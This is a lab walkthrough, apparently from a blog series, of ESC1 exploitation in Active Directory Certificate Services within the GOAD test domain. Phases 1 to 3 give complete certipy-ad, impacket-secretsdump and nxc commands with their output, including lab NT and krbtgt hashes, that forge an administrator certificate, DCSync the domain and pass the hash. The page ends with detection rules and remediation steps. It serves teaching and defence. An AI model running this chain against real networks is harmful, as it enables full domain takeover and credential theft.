Series · 4 partsActive Directory Certificate ServicesPart 2 · You are here
- 1AD CS Part 1: Architecture, Template Semantics, and the ESC Taxonomy
- 2AD CS Part 2: ESC1 Exploitation: RPC Targeting, PKINIT Authentication, and Forest CompromiseYou are here
- 3AD CS Part 3: ESC4 and ESC6 — Creating the Vulnerability Yourself
- 4AD CS Part 4: The Rest of the Catalog and How to Lock It Down
Attack Surface Overview: The ESC1 Misconfiguration
In Active Directory Certificate Services, ESC1 represents the most direct privilege escalation vector from an unprivileged domain user account to Domain Administrator. It occurs when a published certificate template satisfies three concurrent conditions:
- Broad Enrollment Rights: The template DACL grants
EnrollorAutoEnrollpermissions to a broadly accessible group such asAuthenticated UsersorDomain Users. - Enrollee-Supplied Subject: The template’s
mspki-certificate-name-flagincludes the bitmask flagCT_FLAG_ENROLLEE_SUPPLIES_SUBJECT(0x00010000). This instructs the CA to accept arbitrary Subject Alternative Name (SAN) attributes supplied in the certificate signing request rather than constructing the SAN from the requester’s Active Directory object. - Client Authentication EKU: The template’s
pKIExtendedKeyUsagecontains theClient AuthenticationOID (1.3.6.1.5.5.7.3.2) orSmart Card LogonOID (1.3.6.1.4.1.311.20.2.2), enabling the issued certificate to be used in RFC 4556 Kerberos PKINIT exchanges.
When these conditions align, any authenticated principal can request a valid X.509 certificate specifying the identity of a Tier-0 administrator (such as [email protected]), present the certificate to the KDC, and receive an authentic TGT with full administrative privileges.
Phase 1: RPC Endpoint Resolution and Certificate Enrollment
During initial testing against the essos.local environment, issuing a standard certificate request against the domain controller fails with an RPC error:
$ certipy-ad req -u [email protected] -p fr3edom -ca ESSOS-CA -template ESC1 \
-upn [email protected] -dc-ip 192.168.56.12
[*] Requesting certificate via RPC
[!] Failed to resolve dynamic endpoint 91AE6020-9E3C-11CF-8D7C-00AA00C091BE: ept_s_not_registered
Protocol Mechanics: Why ept_s_not_registered Occurs
The Windows Client-to-Certificate Authority protocol ([MS-WCCE]) executes over RPC (ncacn_ip_tcp). Under this protocol:
- The client connects to the RPC Endpoint Mapper (
EPM) on TCP port135of the specified target IP (192.168.56.12, the Domain ControllerMEEREEN). - The client requests the dynamic high-port binding for the
ICertRequestD2interface UUID:UUID: 91AE6020-9E3C-11CF-8D7C-00AA00C091BE Version: 0.0 - Because
ESSOS-CAis hosted on member serverBRAAVOS(192.168.56.23) rather than on the Domain Controller, the Domain Controller’s endpoint mapper returns status code0x000006D9(ept_s_not_registered).
To resolve this, the client must explicitly direct the RPC request to the host actually executing the certsvc service using the -target flag:
$ certipy-ad req -u [email protected] -p fr3edom -ca ESSOS-CA -template ESC1 \
-upn [email protected] -target braavos.essos.local -dc-ip 192.168.56.12
[*] Requesting certificate via RPC
[*] Request ID is 3
[*] Successfully requested certificate
[*] Got certificate with UPN '[email protected]'
[*] Certificate has no object SID
[*] Saving certificate and private key to 'daenerys.targaryen.pfx'
The CA processes the request, embeds [email protected] as the Subject Alternative Name (szOID_SUBJECT_ALT_NAME2, 2.5.29.17), signs the certificate with its private key, and returns the certificate alongside the generated private key in a PKCS#12 (.pfx) archive.
Phase 2: PKINIT Pre-Authentication and Weak UPN Mapping
With daenerys.targaryen.pfx saved locally, the certificate must be exchanged for a Kerberos Ticket Granting Ticket via PKINIT (RFC 4556).
$ certipy-ad auth -pfx daenerys.targaryen.pfx -dc-ip 192.168.56.12
[*] Certificate identities:
[*] SAN UPN: '[email protected]'
[*] Using principal: '[email protected]'
[*] Trying to get TGT...
[*] Got TGT
[*] Got hash for '[email protected]': aad3b435b51404eeaad3b435b51404ee:34534854d33b398b66684072224bb47a
The Weak Binding Nuance
The enrollment output noted: Certificate has no object SID. This occurs because the ESC1 template specifies mspki-enrollment-flag containing 0x00080000 (CT_FLAG_NO_SECURITY_EXTENSION), omitting the Microsoft-specific szOID_NTDS_CA_SECURITY_EXT (1.3.6.1.4.1.311.25.2).
When a certificate lacks an embedded object SID:
- On unpatched or moderately configured Domain Controllers (
StrongCertificateBindingEnforcement = 0or1), the KDC falls back to matching the SAN UPN ([email protected]) directly against LDAPuserPrincipalName. - The KDC accepts the match, generates the PAC for
daenerys.targaryen, and returns an authentic TGT in theAS-REP. - Certipy extracts the user’s NT hash from the PAC cache data returned in the ticket exchange:
34534854d33b398b66684072224bb47a.
If StrongCertificateBindingEnforcement = 2 were configured on the KDC, the authentication attempt would be rejected with KDC_ERR_CLIENT_NAME_MISMATCH because the certificate does not carry a verifiable object SID extension.
daenerys.targaryen by UPN, and a DCSync yielding full forest control.Phase 3: Domain Takeover via DRSUAPI DCSync
Because daenerys.targaryen is a member of Domain Admins, her account holds directory replication extended rights over the domain partition root (DC=essos,DC=local):
DS-Replication-Get-Changes(1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)DS-Replication-Get-Changes-All(1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)
Using impacket-secretsdump with her recovered NT hash, we invoke DRSUAPI RPC function DsGetNCChanges to simulate a Domain Controller replication request and dump the krbtgt account hash:
$ impacket-secretsdump essos.local/[email protected] \
-hashes aad3b435b51404eeaad3b435b51404ee:34534854d33b398b66684072224bb47a -just-dc-user krbtgt
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:7e486cbfb7d10ec86b7f8384f763d60d:::
Full Forest Access Verification
With the krbtgt hash (7e486cbfb7d10ec86b7f8384f763d60d) extracted, Golden Ticket generation is possible for any arbitrary identity across essos.local. To confirm direct administrative execution, secretsdump also yielded the built-in Administrator hash (54296a48...):
$ nxc smb 192.168.56.12 -u Administrator -H 54296a48cd30259cc88095373cec24da -d essos.local
SMB 192.168.56.12 445 MEEREEN [+] essos.local\Administrator:54296a48cd30259cc88095373cec24da (Pwn3d!)
The entire compromise chain required a single unprivileged RPC certificate request. No password cracking, Kerberoasting, or complex multi-hop ACL walks were required.
Detection Engineering and Remediation
Forensic Artifacts and Event Signatures
| Event ID | Provider | Description | Critical Fields to Inspect |
|---|---|---|---|
4886 | Active Directory CS | Certificate request received | Requester account (missandei), template name (ESC1), requested attributes (SAN: [email protected]). |
4887 | Active Directory CS | Certificate issued | Subject Alternative Name mismatching requester identity. |
4768 | Kerberos KDC | TGT requested via PKINIT | Pre-Authentication Type = 16, Target Account = Tier-0 Administrator (daenerys.targaryen). |
4662 | Directory Service | Extended rights accessed | Access Mask 0x100, Access Request: DS-Replication-Get-Changes-All from a non-DC IP address. |
// KQL Rule: Flag Certificates Issued with SAN Divergence
SecurityEvent
| where EventID == 4887
| extend Requester = tostring(parse_xml(EventData).Data[0].["#text"])
| extend SAN = tostring(parse_xml(EventData).Data[4].["#text"])
| extend Template = tostring(parse_xml(EventData).Data[2].["#text"])
| where Requester != "" and SAN != "" and Requester != SAN
| project TimeGenerated, Computer, Requester, SAN, Template
Remediation Protocol
- Remove Enrollee-Supplied SAN Flag:
Modify the vulnerable template to generate subjects from Active Directory object attributes:
Set-ADObject -Identity "CN=ESC1,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=essos,DC=local" ` -Replace @{'mspki-certificate-name-flag' = 0x0} - Enforce Strong Certificate Binding (KB5014754):
Configure Domain Controllers to strictly require Object SID validation:
reg add "HKLM\SYSTEM\CurrentControlSet\Services\Kdc" /v StrongCertificateBindingEnforcement /t REG_DWORD /d 2 /f - Restrict Enrollment Permissions:
Audit and remove
Domain UsersorAuthenticated Usersfrom template DACLs that specify Client Authentication or Smart Card Logon EKUs.
Evidence and limits
The ESC1 certificate enrollment, PKINIT exchange, and subsequent DCSync were executed against ESSOS-CA (192.168.56.23) and MEEREEN (192.168.56.12) in the isolated GOAD lab. All certificates, keys, and dumped hashes belong to the synthetic essos.local domain.
References
- Orange Cyberdefense, GOAD: orange-cyberdefense.github.io/GOAD
- SpecterOps, Certified Pre-Owned: posts.specterops.io
- The Hacker Recipes, Certificate Templates: thehacker.recipes/ad/movement/adcs/certificate-templates
- Microsoft, Kerberos PKINIT Protocol Specification (RFC 4556): datatracker.ietf.org/doc/html/rfc4556
- MITRE ATT&CK, Steal or Forge Authentication Certificates (T1649): attack.mitre.org/techniques/T1649/
- MITRE ATT&CK, OS Credential Dumping: DCSync (T1003.006): attack.mitre.org/techniques/T1003/006/
How current is this note?
The latest source-review, content-update, or publication date is shown.
Primary public records were checked. Environment-specific behavior remains outside the claim unless separately reproduced.

